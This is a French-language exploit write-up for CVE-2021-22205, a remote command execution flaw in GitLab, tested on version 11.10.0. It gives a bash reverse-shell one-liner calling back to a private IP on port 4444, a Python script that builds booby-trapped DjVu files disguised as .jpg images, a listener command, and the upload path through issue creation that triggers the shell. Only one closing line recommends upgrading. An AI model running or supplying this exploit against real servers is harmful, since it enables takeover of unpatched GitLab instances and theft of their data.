CVE-2021-22205-getshell

CVE-2021-22205-getshell

Version testée

Construction de la commande de génération de l'exploit

echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh

Génération de l'image d'exploitation avec djvumake

import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1

Écoute locale sur le port 4444 en attente du reverse shell

nv -lv 192.168.147.5 4444

Téléversement des images sur GitLab

• C'est ici que notre approche diffère des exploits trouvés en ligne : la plupart des exploits utilisent GitLab en version supérieure (12 ou 13), et le point de téléversement est la création de Snippets, avec le chemin : /uploads/user
• De mon côté, j'ai validé sur la version 11.10.0 : le chemin de téléversement public /uploads/user renvoie une 404, et le chemin de téléversement des Snippets /uploads/personal_snippet ne permet pas d'exécuter de commande
• Finalement, en téléversant une image depuis la page de création d'issue, j'ai réussi à exécuter des commandes

Obtention du reverse shell et des droits sur la machine cible

Après avoir téléversé les trois images, la troisième exécute la commande du reverse shell et permet d'obtenir les droits sur la machine cible.

Recommandations de correctif

Mettez à niveau GitLab vers la dernière version de sécurité dès que possible.